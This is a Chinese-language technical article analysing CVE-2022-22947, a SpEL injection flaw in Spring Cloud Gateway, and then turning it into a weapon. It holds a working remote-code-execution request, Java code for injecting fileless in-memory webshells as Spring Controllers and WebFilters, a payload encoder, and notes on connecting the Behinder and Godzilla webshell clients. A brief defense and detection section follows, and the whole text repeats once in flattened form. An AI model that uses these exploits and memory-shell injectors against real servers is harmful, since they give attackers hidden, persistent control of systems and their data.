从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
字数 1528 2025-08-27 12:33:23

Spring Cloud Gateway漏洞分析与内存马注入技术研究

漏洞分析

CVE-2022-22947概述

  • 漏洞类型: SpEL表达式注入漏洞
  • 影响组件: Spring Cloud Gateway
  • 官方公告: VMware安全公告
  • 漏洞发现者Blog: wya.pl
  • 漏洞原理: 通过ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)对可控表达式通过StandardEvaluationContext进行解析造成RCE

调试分析

POC示例:

POST /actuator/gateway/routes/rce HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8000
Content-Length: 362

{
  "id": "rce",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
        "name": "cmd"
      }
    }
  ],
  "uri": "http://localhost:8080",
  "order": 2
}

关键触发点:

  1. 漏洞触发点在ShortcutConfigurable#getValue方法
  2. 通过控制entryValue参数实现SpEL表达式注入
  3. 漏洞不仅限于AddResponseHeader Filter,几乎所有通过内置验证的Filters和Predicates都可触发

武器化研究

内存马注入技术

1. SPEL表达式注入字节码

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

字节码生成工具:

import org.springframework.util.Base64Utils;
import java.io.*;

public class EncodeShell {
    public static void main(String[] args){
        byte[] data = null;
        try {
            InputStream in = new FileInputStream("MemShell.class");
            data = new byte[in.available()];
            in.read(data);
            in.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        String shellStr = Base64Utils.encodeToString(data);
        System.out.println(shellStr);
    }
}

2. Spring Controller内存马

注册方法:

  1. 使用RequestMappingHandlerMapping#requestMapping注册(Spring 4.0+)
  2. 使用AbstractUrlHandlerMapping#registerHandler(针对DefaultAnnotationHandlerMapping)
  3. 使用AbstractHandlerMethodMapping#detectHandlerMethods(针对RequestMappingHandlerMapping)

示例代码:

public class SpringRequestMappingMemshell {
    // 方法1注入
    public static void firstWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException {
        Method method = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
        PathPattern pathPattern = new PathPatternParser().parse("/*");
        PatternsRequestCondition url = new PatternsRequestCondition(pathPattern);
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        requestMappingHandlerMapping.registerMapping(info, new SpringRequestMappingMemshell(), method);
    }

    public ResponseEntity executeCommand(@RequestBody String reqBody) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(reqBody).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

3. Spring WebFilter内存马

实现原理:

  1. Spring WebFlux的Filter机制类似于Servlet Filter
  2. 需要修改DefaultWebFilterChain的实例
  3. 通过反射获取并修改FilteringWebHandlerchain属性

注入代码:

public static String doInject() {
    String msg = "Inject MemShell Failed";
    try {
        Method getThreads = Thread.class.getDeclaredMethod("getThreads");
        getThreads.setAccessible(true);
        Object threads = getThreads.invoke(null);
        
        for (int i = 0; i < Array.getLength(threads); i++) {
            Object thread = Array.get(threads, i);
            if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                // 获取defaultWebFilterChain
                NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
                ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
                // ...省略中间获取过程...
                FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
                DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
                
                // 构造新的Chain进行替换
                Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
                List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
                newAllFilters.add(0,new FilterMemshellPro());
                DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
                
                // 反射修改final字段
                Field f = filteringWebHandler.getClass().getDeclaredField("chain");
                f.setAccessible(true);
                Field modifersField = Field.class.getDeclaredField("modifiers");
                modifersField.setAccessible(true);
                modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
                f.set(filteringWebHandler,newChain);
                modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
                msg = "Inject MemShell Successful";
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return msg;
}

连接冰蝎与哥斯拉

冰蝎连接问题

  1. 传统冰蝎依赖pageContext对象
  2. Spring WebFlux没有Servlet API,缺少HttpServletRequestHttpServletResponse
  3. 解决方案: 修改冰蝎代码,将pageContext替换为Map并实现所需方法

哥斯拉连接实现

  1. 已有Controller版本实现(参考REF[7])
  2. WebFilter版本优势: 对任意路由请求都有效,不影响正常业务
  3. 关键代码: 通过Header进行身份验证
String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION);
if(authorizationHeader != null && authorizationHeader.equals(auth)) {
    // 处理恶意请求
}

防御与检测

  1. 漏洞修复:

    • 升级Spring Cloud Gateway到安全版本
    • 禁用Actuator端点或进行访问控制
  2. 攻击检测:

    • 监控反射操作日志(高版本JDK会记录敏感反射操作)
    • 检查异常路由配置
    • 监控内存中新增的Filter或Controller
  3. 防护措施:

    • 使用SimpleEvaluationContext替代StandardEvaluationContext
    • 实施严格的输入验证
    • 启用Spring Security进行访问控制

参考资源

  1. 从SSRF到RCE - Spring Cloud Gateway漏洞分析
  2. Spring Cloud Gateway官方修复commit
  3. 基于内存Webshell的无文件攻击技术研究
  4. CVE-2022-22947注入哥斯拉内存马
  5. Spring WebFlux官方文档
Spring Cloud Gateway漏洞分析与内存马注入技术研究 漏洞分析 CVE-2022-22947概述 漏洞类型 : SpEL表达式注入漏洞 影响组件 : Spring Cloud Gateway 官方公告 : VMware安全公告 漏洞发现者Blog : wya.pl 漏洞原理 : 通过 ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) 对可控表达式通过 StandardEvaluationContext 进行解析造成RCE 调试分析 POC示例 : 关键触发点 : 漏洞触发点在 ShortcutConfigurable#getValue 方法 通过控制 entryValue 参数实现SpEL表达式注入 漏洞不仅限于 AddResponseHeader Filter,几乎所有通过内置验证的Filters和Predicates都可触发 武器化研究 内存马注入技术 1. SPEL表达式注入字节码 字节码生成工具 : 2. Spring Controller内存马 注册方法 : 使用 RequestMappingHandlerMapping#requestMapping 注册(Spring 4.0+) 使用 AbstractUrlHandlerMapping#registerHandler (针对 DefaultAnnotationHandlerMapping ) 使用 AbstractHandlerMethodMapping#detectHandlerMethods (针对 RequestMappingHandlerMapping ) 示例代码 : 3. Spring WebFilter内存马 实现原理 : Spring WebFlux的Filter机制类似于Servlet Filter 需要修改 DefaultWebFilterChain 的实例 通过反射获取并修改 FilteringWebHandler 的 chain 属性 注入代码 : 连接冰蝎与哥斯拉 冰蝎连接问题 传统冰蝎依赖 pageContext 对象 Spring WebFlux没有Servlet API,缺少 HttpServletRequest 和 HttpServletResponse 解决方案: 修改冰蝎代码,将 pageContext 替换为Map并实现所需方法 哥斯拉连接实现 已有Controller版本实现(参考REF[ 7 ]) WebFilter版本优势: 对任意路由请求都有效,不影响正常业务 关键代码: 通过Header进行身份验证 防御与检测 漏洞修复 : 升级Spring Cloud Gateway到安全版本 禁用Actuator端点或进行访问控制 攻击检测 : 监控反射操作日志(高版本JDK会记录敏感反射操作) 检查异常路由配置 监控内存中新增的Filter或Controller 防护措施 : 使用 SimpleEvaluationContext 替代 StandardEvaluationContext 实施严格的输入验证 启用Spring Security进行访问控制 参考资源 从SSRF到RCE - Spring Cloud Gateway漏洞分析 Spring Cloud Gateway官方修复commit 基于内存Webshell的无文件攻击技术研究 CVE-2022-22947注入哥斯拉内存马 Spring WebFlux官方文档